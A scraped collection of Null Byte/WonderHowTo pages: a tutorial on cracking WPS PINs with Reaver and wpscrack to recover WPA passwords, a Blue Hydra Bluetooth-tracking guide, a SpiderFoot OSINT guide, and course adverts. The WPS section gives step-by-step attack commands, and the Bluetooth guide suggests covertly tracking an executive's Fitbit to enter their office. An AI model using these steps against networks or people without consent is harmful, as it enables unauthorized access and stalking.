While You're Stuck at HomeHow To:13 Black Friday Deals on Courses That Will Beef Up Your Hacking & Programming Skill SetHow To:Learn to Code Your Own Games with This Hands-on BundleHow To:Streamline Your App & Game Development with AppGameKitHow To:Become an In-Demand Cybersecurity Pro with This $30 TrainingHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Learn How to Create Fun PC & Mobile Games for Under $30How To:Learn the Essentials of Accounting to Boost Profit Margins in Your Small BusinessHow To:Build Games for Under $40 with This Developer's BundleHow To:Become a Big Data Expert with This 10-Course BundleHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:Master Adobe's Top Design Tools for Under $50 Right NowNews:The True Cost of Streaming Cable (It's Not as Cheap as You Think)News:Apple Expected to Fall Behind Android in App Sales This YearHow To:Boost Your Sales Skills & Close More Deals with This Ultimate Sales Master ClassHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:This Course Bundle Will Teach You How to Start & Grow a BusinessHow To:This Extensive IT Training Bundle Is on Sale for Just $40How To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHow To:Break into Game Development with This $40 BundleNews:You Can Master Adobe's Hottest Tools from Home for Only $34How To:See What a New Language Can Do for You with This $30 BundleNews:Android Reaches 10 Billion Downloads; Celebrate with Minecraft for $0.10!News:Student Sentenced to 8mo. in Jail for Hacking FacebookNews:The Humble Bundle Strikes Again with a "Frozen" ThemeNews:Learn Tagalog Today Episode 12, Shopping !Afterfall:InSanity Game Only $1 in Outlandish Plan to Reach 10 Million Pre-OrdersNews:Indie Game Music Bundle (Including Minecraft)Top 10:Best Ethical Destinations for 2011How To:Learn to Code for Only $40 with LearnableHow To:Save 50% Off This 57-Piece PPE Bundle for a Limited TimeNews:Welcome!News:Australia cracks down on sweatshop workers in Melbourne suburbScrabble Cheats:The Guilt of Playing IWI |
How to Hack WPA WiFi Passwords by Cracking the WPS PIN « Null Byte :: WonderHowTo | A flaw inWPS, orWiFiProtectedSetup, known about for over a year byTNS, was finally exploited with proof of concept code. BothTNS, the discoverers of the exploit and Stefan at.braindumphave created their respective "reaver" and "wpscrack" programs to exploit the WPS vulnerability. From this exploit, the WPA password can be recovered almost instantly in plain-text once the attack on the access point WPS is initiated, which normally takes 2-10 hours (depending on which program you use).This exploit defeats WPS via anintelligentbrute force attack to the static WPS PIN. By guessing the PIN, the router will actually throw back, whether or not the first four digits (of eight) are correct. Then, the final number is a checking number used to satisfy an algorithm. This can be exploited to brute force the WPS PIN, and allow recovery of the WPA password in an incredibly short amount of time, as opposed to the standard attack on WPA.In thisNull Byte, let's go over how to use both tools to crack WPS. As of yet, no router is safe from this attack, and yetnoneof the vendors have reacted and released firmware with mitigations in place. Even disabling WPS still allows this attack on most routers.RequirementsRaspberry Pi.Image by SADMIN/Null ByteA computer (or virtual machine) running Kali Linux OS. If you're a beginner, you can start with our Kali Pi buildbased on the $35 Raspberry Pi.which we go over in detail here:Check out:Get Started Hacking on Kali Linux for Cheap With the Kali PiA router at home with WPSA Wireless Network Adapter capable of monitor mode and packet injection. Confused?Check out our 2017 guide here, or you can get started with our most popularlong rangeandshort range adaptersfor beginners.The following programs installed (install by package name):aircrack-ng, python-pycryptopp, python-scapy, libpcap-devSADMIN / Null ByteToolsReaver(support for all routers)wpscrack(faster, but only support for major router brands)Crack WPSText inboldis a terminal command.Follow the guide that corresponds to the tool that you chose to use below.ReaverUnzip Reaver.unzip reaver-1.3.tar.gzChange to the Reaver directory.cd reaver-1.3Configure, compile and install the application../configure && make && sudo make installScan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX).sudo iwlist scan wlan0Set your device into monitor mode.sudo airmon-ng start wlan0Run the tool against an access point.reaver -i mon0 -b <MA:CA:DD:RE:SS:XX> -vvWait until it finishes.This tool makes it too easy.wpscrack.pyMake the program an executable.chmod +x wpscrack.pyScan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX).sudo iwlist scan wlan0Get your MAC address, save it for later.ip link show wlan0 | awk '/ether/ {print $2}'Set your device into monitor mode.sudo airmon-ng start wlan0Attack your AP.wpscrack.py –iface mon0 –client <your MAC, because you're attacking yourself, right?> –bssid <AP MAC address> --ssid <name of your AP> -vAwait victory.Now, let's hope we see a lot of firmware update action going on in the near future, or else a lot of places are in a whole world of trouble.Be a Part of Null Byte!Follow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viathehackernewsRelatedHow To:Brute-Force WPA/WPA2 via GPUHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Hack WPA wireless networks for beginners on Windows and LinuxHow To:Get WPA-WPS Passwords with Pyxiewps.News:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:How Hackers Steal Your Internet & How to Defend Against ItNews:New Pyxiewps Version Is Out. |
Become an In-Demand Data Scientist with 140+ Hours of Training « Null Byte :: WonderHowTo | The overarching and expanding field of data science and analysis has become virtually inseparable from areas such as programming and development.As the driving force behind web development and marketing, engineering, white-hat hacking, and even finance, large-scale data analytics can be found at the heart of today's most exciting and important tech industries and platforms.So if you want to become a truly successful programmer, developer, or cybersecurity specialist, you'll need to have a detailed understanding of how to use the world's most popular data science languages and platforms. The2020 All-in-One Data Scientist Mega Bundleis here to help for just $39.99 — a tiny fraction of its MSRP for a limited time.This massive training bundle boasts over 140 hours of content and training on analytics, RPA,machine learning, Tableau, and more — all through an award-winning instructional platform that's been designed by industry insiders with years of experience under their belts.Through courses that are easy to follow on any device with an Internet connection, this bundle starts with a broad introduction to the latest methodologies and applications of data science before walking you through its most relied-upon tools and tactics.You'll learn how to gather and analyze massive sets of data using R, create powerful machine learning platforms and infrastructures with Python, useTableauto build detailed data visualizations and intelligence tools, and much more.Several courses cover a wide range of topics on robotics and artificial intelligence — two interconnected fields that stand at the forefront of the world's most significant innovations.Gain access to a massive trove of material that will help you become an in-demand data scientist with the 2020 All-in-One Data Scientist Mega Bundle forjust $39.99— over 95% off its usual price for a limited time.Prices are subject to change.Check It Out:2020 All-in-One Data Scientist Mega Bundle for $39.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byTheDigitalArtist/PixabayRelatedHow To:You Can Learn the Data Science Essentials at Home in Just 14 HoursHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:Become a Computer Forensics Pro with This $29 TrainingNews:Self-Driving Race Car Successfully Completes Full-Speed LapHow To:Disable the 'Unlock iPhone to Use Accessories' Notification in iOS 11.4.1 & HigherHow To:Circuit bend a Yamaha PSS 140 synthesizerHow To:Become an In-Demand Cybersecurity Pro with This $30 TrainingHow To:Become an In-Demand IT Pro with This Cisco TrainingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)How To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingHow To:Become a Big Data Expert with This 10-Course BundleHow To:Become an In-Demand Ethical Hacker with This $15 CompTIA CourseHow To:This Extensive Python Training Is Under $40 TodayToday's Top News:China Is Cracking Down on US & Euro Driverless Mapping with New RestrictionsHow To:Use jQuery to improve your website and businessHow To:These Excel Courses Can Turn You into an In-Demand Data WizHow To:Keep Data-Thieving USB Accessories from Connecting to Your iPhone in iOS 11.4.1 & HigherDev Report:IBM & Unity Partner to Offer AI Tool That Could Make Augmented Reality Apps SmarterHow To:Explore Data Analysis & Deep Learning with This $40 Training BundleNews:Now's the Perfect Time to Brush Up on Your Excel SkillsNews:A New Project Lets Scientists Strap on a Vive & Walk Right into a Cancer CellHow To:Here's What Google Maps Does with Your DataNews:Your Android Apps Are Secretly Getting Chatty with Your DataNews:6 Hours of Sleep Not Enough Say ScientistsNews:Google+ Pro Tips Weekly Round Up: Google Cleans UpNews:Is Google+ More of a Threat to Twitter than Facebook?News:The First (Real) Celebrities Arrive on Google+News:NASA Kicks Off 2012 with Ambitious New Moon MissionCoding Fundamentals:An Introduction to Data Structures and AlgorithmsNews:The Basics Of Website MarketingHow To:Backup All of Your Xbox 360 Data to Your ComputerNews:The ScientistNews:Day 2 Of Our New WorldNews:2011 Oscar Nominations - Complete ListHow To:A Hitchhiker's Guide to the Internet: A Brief History of How the Net Came to BeHow To:Search for Google+ Posts & Profiles with Google |
How to Detect Bluetooth Low Energy Devices in Realtime with Blue Hydra « Null Byte :: WonderHowTo | Bluetooth Low Energy (BLE) is the de facto wireless protocol choice by many wearables developers, and much of the emerging internet of things (IoT) market. Thanks to it's near ubiquity in modern smartphones, tablets, and computers, BLE represents a large and frequently insecure attack surface. This surface can now be mapped with the use ofBlue Hydra.Built on thebluez library, Blue Hydra employs built-in BLE hardware, which can be further enabled by the use ofUbertoothhardware, to discover and track not only low energy, but classic Bluetooth devices too. You can learn more about how Blue Hydra works by watching theDefcon 24 talk. In this tutorial, we will download Blue Hydra on a Raspberry Pi running Raspbian, and get started tracking.Those of you already familiar withusing Aircrack -ngwill be right at home with Blue Hydra, as they are very similar.Don't miss:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsIf you want to get more familiar with Bluetooth security, Null Byte has you covered! You can get up to speed withTerms, Technologies, & Security, learn toControl Any Mobile Device, and get yourReconnaissanceon.What You'll Need to Get StartedRaspberry PiMicroSD cardMicroSD card readerPower supplyBluetooth dongle(optional to improve range)Ubertooth hardware(optional to detect Classic devices not in discoverable mode)Not a replacement for a conventional Bluetooth dongle!Step 1: Download & Flash the Raspbian ImageFirst, we'll prepare the OS we'll be runnig Blue Hydra on. For this tutorial, we'll be using Raspbian. You can download the Raspbian image directly, or torrent via your favorite Torrent client on theRaspbian download site.Once the download is complete, we need to write the image to our microSD card. It's a good idea to unplug any external hard drives or other USB devices you have, and then insert your microSD into its adapter and plug it in. This is important since you don't want to accidentally flash the wrong device.If you already have a program for flashing live images to the card, then you can use that. Otherwise, download andinstall Etcher, as it's the easiest to use for making bootable SD cards. It works on Windows, Mac, and Linux, while also having a simple to use interface. Go ahead and open Etcher when it finishes installing.Etcher should detect what operating system you are using, but if not, make sure you download the correct version based on your operating system, then open the file and follow the on-screen installation directions. Open Etcher (if it doesn't automatically open after installation), and select the image you just downloaded.Next, be sure the proper drive is selected and flash the image. Once it's done, it will safely eject the SD card.There is a rare chance that Etcher will cause an error. If that does happen, use ApplePiBaker for Mac or Win32 Disk Imager for Windows.If you plan on using a Secure Shell (SSH) to access your Pi, then you will want to add an empty file ssh with no file type to the boot folder on the microSD card.Step 2: Start Your PiInsert the SD card into the slot at the bottom of your Raspberry Pi and plug the Pi into an HDMI cable leading to a display and a power cable. If you want to SSH into your Pi, make sure to plug the Pi into Ethernet, with the other end of the Ethernet cable going into your router (which is wired or wirelessly connected to your computer).You can now connect to your Pi however you like. I'm old-school, so I just SSH into the Pi using PuTTY or theSecure Shell extensionfor Chrome.Remember the username ispiand the password israspberry. After you connect, make sure to change the password with passwd, and then update your Pi with the following commands.sudo apt-get updatesudo apt-get upgradesudo apt-get dist-upgradeStep 3: Ubertooth InstallationIf you aren't planning on using Ubertooth hardware, you should still follow these steps or Blue Hydra may not run correctly. If you are using an Ubertooth, make sure to plug it in before we start, as it may need a firmware update. Unfortunately, Ubertooth is not in the Raspbian repository, so we have to download it manually.First, we need to install the dependencies for Ubertooth before we can build libbtbb and Ubertooth. This can take some time, but usually not much longer than 5 minutes.sudo apt-get install cmake libusb-1.0-0-dev make gcc g++ libbluetooth-dev \pkg-config libpcap-dev python-numpy python-pyside python-qt4Now, we are ready to set up the Bluetooth baseband library, libbtbb. This lets the Ubertooth decode Bluetooth packets. Download the file from Github with the command below.wgethttps://github.com/greatscottgadgets/libbtbb/archive/2017-03-R2.tar.gz-O libbtbb-2017-03-R2.tar.gzNow, unzip it, navigate to the directory, and create a build directory by typing the following.tar xf libbtbb-2017-03-R2.tar.gzcd libbtbb-2017-03-R2mkdir buildcd buildWe are now ready to use cmake to install it.cmake ..makesudo make installWonderful! Now that we have libbtbb installed, we are ready to install Ubertooth itself. Move to your home directory by typingcdand then are ready to do the same process as before to install Ubertooth file. Download it from Github.wgethttps://github.com/greatscottgadgets/ubertooth/releases/download/2017-03-R2/ubertooth-2017-03-R2.tar.xz-O ubertooth-2017-03-R2.tar.xzThen use the same process as before to install.tar xf ubertooth-2017-03-R2.tar.xzcd ubertooth-2017-03-R2/hostmkdir buildcd buildcmake ..makesudo make installLastly, move back home withcd, and if you actually have an Ubertooth device, make sure it is configured correctly withsudo ldconfigandubertooth-util -vwhich should be "Firmware version: 2017-03-R2 (API:1.02)"Now we are ready to install Blue Hydra's dependencies.Step 4: Install Blue Hydra DependenciesBlue Hydra runs on Ruby code, so first we need to check to see if we have that already installed by runningwhich ruby. If that returns "/usr/bin/ruby" or something similar then you're good to go. If you don't have it thensudo apt-get install ruby-fullStart with downloading bundlersudo gem install bundlerNow we are ready to install the long list of other dependencies required.sudo apt-get install python-bluez python-dbus sqlite3 bluez-tools ruby-dev bluez bluez-test-scripts python-bluez python-dbus libsqlite3-devStep 5: Install Blue HydraNow we are ready to clone Blue Hydra from Githubgit clonehttps://github.com/pwnieexpress/blue_hydra.gitThen we need to move to the "blue_hydra" directorycd blue_hydraBefore running the last command you should know that if you run it as root it could cause problems for other users that try to use Blue Hydra. If you only use root then you're fine, otherwise, you can use the sudo command as needed.bundle installStep 6: Run Blue HydraNow we're ready to start tracking Bluetooth devices. Make sure that you have your Ubertooth connected if you are using one. Keep in mind that the use of multiple dongles such as having an external Bluetooth dongle and Ubertooth hardware can draw a lot of power so you want to be doubly sure that you have at least a 2.5A power supply or you may run into power issues. Now move to "blue_hydra/bin/", if you're already in "blue_hydra" justcd ./binThen start the program withsudo ./blue_hydraThere are also a number of flags you can use when you run the program:-dor--daemonizesuppress Command Line Interface (CLI) output and run in background-zor--demoruns with CLI output but mask displayed macs for demo purposes-por--pulseattempt to send data to Pwn PulseYou may want to write down some quick notes about the controls before you press enter or you can just reference this screenshot.To test it out I set off to the local Starbucks, for reference you can see how crowed it was below.Hoid's local Starbucks at the time.Image by Hoid/Null ByteYou can see there are quite a few devices in this small area.My setup was nothing but the internal Bluetooth and Ubertooth hardware. With an external Bluetooth dongle and the range it offers, I could have easily detected twice as many devices. If you are wondering, I'm powering the Pi off of a battery pack and usingJuice SSHon my smartphone, Blue Hydra is being run in demo mode to help protect the privacy of the people.Step 7: Configuring OptionsThe "blue_hydra.yml" file can be edited to configure several options:log_levelIf this is set to "false" then the log files will not be created.bt_deviceThis is how you change the main Bluetooth interface, change if you're using a dongle.info_scan_rateThis is how often info scan is run in seconds.status_sync_rateThis is how often to sync device status to Pulse in seconds.btmon_logWhen True it will log filtered btmon output.btmon_rawlogWhen True it will log unfiltered btmon outputfileIf set to a file it will use it rather than live sensor datarssi_logControls if serialized RSSI values are loggedaggressive_rssiThis will aggressively send RSSIs to PulsePulse is Pwnie Express' IoT Security PlatformStep 8: Tracking with BLE FinderBlue Hydra saves to two log files, "blue_hydra.log" is where it logs all the data it collects, which is more than it shows on the user interface, this is how it tracks devices over time. The second, "blue_hydra_rssi.log" is where it logs signal strength which can be used to find the distance to the Bluetooth device. For example, you could make asimple python scriptthat alerts you when a certain device is close by, just as the Hacker Warehouse team did. Let's download it and take a look at it.First move to the Blue Hydra directory,cd ~/blue_hydraand then download the Python programwgethttps://raw.githubusercontent.com/hackerwarehouse/ble_finder/master/ble_finder.pyThe Python program uses the tailer module as well, so we need to get that withpip install tailerNow we need to make sure that Blue Hydra is saving the RSSI log file so lets use nano to open the configuration file mentioned before.sudo nano blue_hydra.ymlthen setrssi_log trueThen save withCtrl + XandYthenEnter. The only thing for us to do now is tell the script which Mac IDs to look for. To do that lets open the python file with nano.sudo nano ble_finder.pyif you have trouble opening it with nano just restart the pi withsudo rebootfind the devices list and edit it to the MAC IDs of your choice, remember it is case sensitive. If you want more than, you can just expand the list with ['MAC ID', 'Name', ' '],Below this you can also set how often it reports, the default is 45 seconds.While you are here you may want to go over the code. The program checks the RSSI log for the MAC IDs from our list. When you're done, save just like before withCtrl + XandYthenEnter.Now let's put it in action withcd blue_hydra/bin/and then usesudo ./blue_hydranow open another shell and move to Blue Hydra withcd blue_hydrathen runpython ble_finder. If all is working properly you'll see something like this.Put It to Use for YourselfNow that you have the basics, you can do something much more advanced. Say you wanted to get into a high-level executive's office, but you need to know when they are there. You could put a Pi running Blue Hydra, and set some code to email me when his Fitbit leaves the office.Don't Miss:How To Hack BluetoothYou could also set up a trilateration program to map all the devices in the environment. Even just leaving it sitting in place can yield interesting results. The real limiting factor to Blue Hydra's usefulness is your imagination, so don't let it hold you back!Follow me onTwitterFollow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Kody &mecha_ariesScreenshots by Hoid/Null ByteRelatedHow To:Target Bluetooth Devices with BettercapHow To:Detect BlueBorne Vulnerable Devices & What It MeansNews:Bluetooth 5.1 Adds Precision Location, Offers Beacons for Indoor Navigation & More Augmented Reality ExperiencesNews:Myo Lets You Control All Your Gadgets Like a JediHow To:Automate Tasks on Your Mac Whenever You Come or Leave Home via BluetoothHow to Hack Bluetooth, Part 1:Terms, Technologies, & SecurityHow To:Find Out if Your Mac Can Support Continuity's Handoff FeatureHow To:16 Tips for Staying Awake When You're TiredHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraThe Hacks of Mr. Robot:How to Hack BluetoothHow To:Track Your Lost iPhone, iPad, or Mac Even When Its Offline — As Long as This Feature Is EnabledAndroid Basics:How to Connect to a Bluetooth DeviceHow To:5 Ways to Improve the Bluetooth Experience on Your Samsung GalaxyBT Recon:How to Snoop on Bluetooth Devices Using Kali LinuxHow To:Use U2F Security Keys on Your Smartphone to Access Your Google Account with Advanced ProtectionHow To:Detect unknown devices with Windows' Device ManagerHow To:Bypass Android's File Type Restrictions on Bluetooth File SharingHow To:No-Bake Energy Bites Are the Perfect On-the-Go Snack for SummerHow To:Connect a PS4 Controller to Your Mac for Improved GameplayHow To:5 Wireless Headphones That'll Pair Perfectly with Your Galaxy Note 10How To:Play Music on 2 Devices Using Your Samsung Galaxy PhoneHow To:What All the Bluetooth & Wi-Fi Symbols Mean in iOS 11's New Control Center (Blue, Gray, or Crossed Out)How To:Fix Google Now Bluetooth Problems on Your Samsung Galaxy Note 2 or Other Android DeviceHow To:Hack Wireless Router Passwords & Networks Using HydraNews:Weekly Challenge 4. The HydraMaking Electromagnetic Weapons:Directed Microwave EnergyHow To:iOS 13 Has Radically Improved Connecting to AirPods & Bluetooth DevicesMaking Electromagnetic Weapons:Flashlamp LasersHow To:How a Home Energy Audit Can Lower Your Energy CostsNews:OmnicronNews:Collections OverviewNational Ignition Facility:Big, Giant Lasers of Doom... Or Endless Energy?How To:Read Your Inital Bounce Energy BillNews:Panasonic's New Millimeter-Wave Radar Technology Could Save Lives at IntersectionsNews:The Bounce Energy BlogNews:Bounce Energy's Rewards ProgramHow To:How Much Energy Is Your Home Using? Test It!News:Bounce Energy Races for The CureNews:Collections that give you Energy and XP |
How to Use SpiderFoot for OSINT Gathering « Null Byte :: WonderHowTo | During a penetration test, one of the most important aspects of engaging a target is information gathering. The more information you have coming into an attack, the more likely the attack is to succeed. In this article, I'll be looking atSpiderFoot, a modular cross-platform OSINT (open-source intelligence) gathering tool.Open-source intelligence is data that can be gathered from public sources. OSINT isn't just limited to the internet, it can be gathered through print media, government records, academic publications, and more. Depending on your target, gathering publicly available data from the internet may be enough to profile a target. It all really depends on the web footprint left by your target.SpiderFoot running a scan on scientology.org, displaying graphed results.Image by SADMIN/Null ByteFor hackers, OSINT comes in handy in a number of ways.Spear-phishing campaignsrely on publicly available information about individuals to target them. Search engines can be leveraged to provide pages containing login portals for further scrutiny. Forgotten subdomains can be located and connections between data visualized in useful ways. Given time, you can use OSINT techniques to build quite a large dossier on a target, all without ever coming into direct contact with the target.Unfortunately, gathering large amounts of information on your targets can be time-consuming, especially if the process must be run manually. This is compounded by the added time required to sort through and analyze the information to determine if it is actionable. Not all information gathered will be directly applicable to your operation. Analyzing and filtering out actionable information is somewhat of a skill set of its own.In this article, we'll cover the basic usage ofSpiderFoot. A quick, modular, and broad OSINT tool.SpiderFoot running on Parrot Security OS.Image by SADMIN/Null ByteStep 1: Install SpiderFoot on Kali LinuxUnfortunately, Kali Linux doesn't come with SpiderFoot installed by default, so we will need to download the source. The source is also available via theSpiderFoot downloads page.This page doesn't support HTTPS, so I opted to clone the source directly from GitHub. If you choose to download directly from the SpiderFoot downloads section, be sure to check the hash.Once it's downloaded, navigate to the folder as seen below.git clonehttps://github.com/smicallef/spiderfootcd spiderfootOnce we have the source, we will need to ensure that all dependencies are met. Run the following to install any dependencies that may be missing.pip install lxml netaddr M2Crypto cherrypy mako requests bs4In my case, the dependencies were already installed on my machine. Once all of the dependencies are met, we are ready to launch SpiderFoot.Step 2: Launch SpiderFootNext, we start the SpiderFoot server. In a terminal window, type the following to begin.nohup ./sf.py &In this command,nohuprunssf.pyso that it is immune to hang-ups, and directs output from sf.py into a file called "nohup.out." The&at the end backgrounds the command so we can continue working in our terminal. Since we used nohup, we can also safely close this terminal window without terminating the sf.py process.Once this completes, you can use a browser to navigate to the SpiderFoot control panel on your local host. The default address is 127.0.0.1:5001.It's important to note that, by default, SpiderFoot doesn't use HTTPS or any form of authentication. If you are intending to run SpiderFoot for a group of penetration testers or on a VPS, you will want to do additional configuration that is outside the scope of this article.Upon navigating to your localhost in your browser of choice, you will be greeted with the SpiderFoot manager. I haven't run any scans yet, so my manager is empty.Before we actually run any scans, we want to ensure that the settings are to our liking. We can view these settings by clicking the "Settings" button in the top menu of the manager. SpiderFoot has a huge set of options, including settings for use throughTor.Don't Miss:How to Access the Dark Web While Staying Anonymous with TorI left all of the options in their default configuration, except for the DNS option, which I changed to use Google DNS. I would definitely recommend reading through all of the available settings to ensure that everything is configured to your liking.Step 3: Add API KeysIf you navigate deeper into the settings, you will see that some modules in SpiderFoot use API keys. In some cases, these modules will not function without properly setting up the API keys first. In other modules, the API keys are only to speed up the scanning. Below is a list of the modules that benefit from API keys and the steps required to get them, sourced from theSpiderFoot documentation page.Honeypot Checker:Go tohttp://www.projecthoneypot.org.Sign up (free) and log in.Click on "Services," then "HTTP Blacklist."An API key should be listed.Copy and paste that key into the "Settings" -> "Honeypot Checker" section in SpiderFoot.SHODAN:Go tohttp://www.shodanhq.com.Sign up (free) and log in.Click on "Developer Center."On the far right, your API key should appear in a box.Copy and paste that key into the "Settings" -> "SHODAN" section in SpiderFoot.VirusTotal:Go tohttp://www.virustotal.com.Sign up (free) and log in.Click on your username in the far right and select "My API Key."Copy and paste the key in the grey box into the "Settings" -> "VirusTotal" section in SpiderFootIBM X-Force Exchange:Go tohttps://exchange.xforce.ibmcloud.com/new.Create an IBM ID (free) and log in.Go to your account settings.Click on "API Access."Generate the API key and password (you need both).Copy and paste the key and password into the "Settings" -> "X-Force" section in SpiderFoot.MalwarePatrol:Go tohttp://www.malwarepatrol.net.Create an account (free) and log in.Click on "Open Source" and scroll down to the bottom.Click on the "Free" link in the subscription pricing table.Click the free block lists link.You will receive a receipt ID.Copy and paste the receipt ID into the "Settings" -> "MalwarePatrol" section in SpiderFoot.BotScout:Go tohttp://www.botscout.com.Create an account (free) and log in.Under "Account Info," your API key will be there.Copy and paste the API key into the "Settings" -> "BotScout" section in SpiderFoot.Cymon.io:Go tohttp://www.cymon.io.Create an account (free) and log in.Under "My API Dashboard," your API key will be there.Copy and paste the API key into the "Settings" -> "Cymon" section in SpiderFoot.Censys.io:Go tohttp://www.censys.io.Create an account (free) and log in.Click on "My Account" (in the bottom right).Copy and paste the API Credentials values into the "Settings" -> "Censys" section in SpiderFoot.Hunter.io:Go tohttp://www.hunter.io.Create an account (free) and log in.Click on "API" in the top menu-base.Copy and paste the API key into the "Settings" -> "Hunter.io" section in SpiderFoot.AlienVault OTX:Go tohttps://otx.alienvault.com/and sign up.Log in, click on your account in the top right, then go to "Settings."Scroll down and copy and paste the OTX Key value into the "Settings" -> "AlienVault OTX" section in SpiderFoot.Clearbit:Go tohttps://dashboard.clearbit.com/loginand sign up.(Clearbit will require a phone number with SMS capability during registration.)Log in and click on the API link on the left.Copy and paste the "secret" API key into the "Settings" -> "Clearbit" section in SpiderFoot.BuiltWith:Go tohttps://www.builtwith.comand sign up. You get 50 queries for free before having to pay (it's totally worth it though).Log in and click on the "Domain API" tab. No other API key type will work with SpiderFoot!Your API key will appear on the right.Copy and paste it into the "Settings" -> "BuiltWith" section in SpiderFoot.FraudGuard:Go tohttps://fraudguard.io.Register with the plan you choose. The free plan is also available.Click to "Create" an API key, in the form of a username and password.Copy and paste both into the "Settings" -> "Fraudguard" section in SpiderFoot.IPinfo.io:Go tohttps://ipinfo.io.Click on "Pricing" and select the plan you choose. They offer a very generous free plan with 1,000 queries per day. (IPinfo.io no longer offers a free API key.)Click "Subscribe," enter your details, and follow the registration process.Copy and paste the "Access token" in your Profile to the "Settings" -> "ipinfo.io" section in SpiderFoot.—SpiderFoot Documentation (edited for clarity)For the best performance and OSINT gathering, you will want to get keys from all of these services. If you are just trying the tool out, these keys aren't all necessary. Spending the time to get them will definitely enhance the amount of information you gather with SpiderFoot.Step 4: Launch a New ScanWith SpiderFoot running, launch your favorite browser and again navigate tolocalhost:5001. Next, click the "New Scan" button in the top-left menu bar.The scans page is clearly laid out, with each scan type described. I will be running my scan on scanme.nmap.org. To start the scan, click the "Run Scan" button at the bottom of theNew Scanpage. The scan will update in real time.Below the graph, you will see information on the current status of each module. Each bar on the graph is clickable to reveal more information. The errors you are seeing in the top left are due to the lack of API keys entered into SpiderFoot. If a module is reliant on an API key, it will simply not function instead of causing the entire application to halt.Step 5: Parsing the InformationOnce the scan completes, we can start analyzing the information. I started on the graph page, which is accessed by clicking on the "Graph" button in the top submenu. This gives us a view of connected domains. This can be useful if any of these domains are misconfigured in a way that leaves them vulnerable to attack.Next, I browse through the data collected. This can be accomplished by clicking on the "Browse" button in the top submenu.Some of my modules failed to fire due to lacking API keys, but I'm still getting a decent picture of scanme.nmap.org. One of the more interesting modules called "Raw File Meta Data" pulls the metadata from images found on the site. There's nothing extremely telling in the image metadata from scanme.nmap.org, however, on a site that's less well-managed, you may gather quite a bit of information from images.In this case, we simply see some information saying "September 1995 Kevin." This in itself is telling about how often this site gets reworked.Looking at the "Web Server" category gives me some information about which HTTPd and operating systems are in use.We also see additional publicly accessible directories on the site scanme.nmap.org. With the information, here we can start looking for CVEs that may work on this target.SpiderFoot Is a Valuable OSINT ToolSpiderFoot generated a lot of information relating to our target, scanme.nmap.org. Used on a larger target, one could expect much more information. This data could be extremely helpful in getting an initial idea of what you're up against in a penetration test. The publicly available information gathered by SpiderFoot provides a great starting point for further enumeration and honing in on softer targets.I would consider SpiderFoot a first stage information gathering tool, giving me a somewhat broad overview of what I'm up against. The information uncovered with SpiderFoot is intended to be a starting point to deeper insight. With the API keys enabled, the scans will, of course, be a more detailed overview of the systems you are targeting. This kind of broad-scale OSINT approach can be incredibly time-consuming to execute manually. SpiderFoot makes it fast; really fast comparatively.Based on the very real benefits provided by SpiderFoot, I suspect this tool will be added to Kali Linux very soon. Thanks for reading, and stay tuned for more tutorials! You can ask any questions here or@0xBarrowon Twitter.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by SADMIN/Null ByteScreenshots by Barrow/Null ByteRelatedHow To:Use the Buscador OSINT VM for Conducting Online InvestigationsHow To:Find Identifying Information from a Phone Number Using OSINT 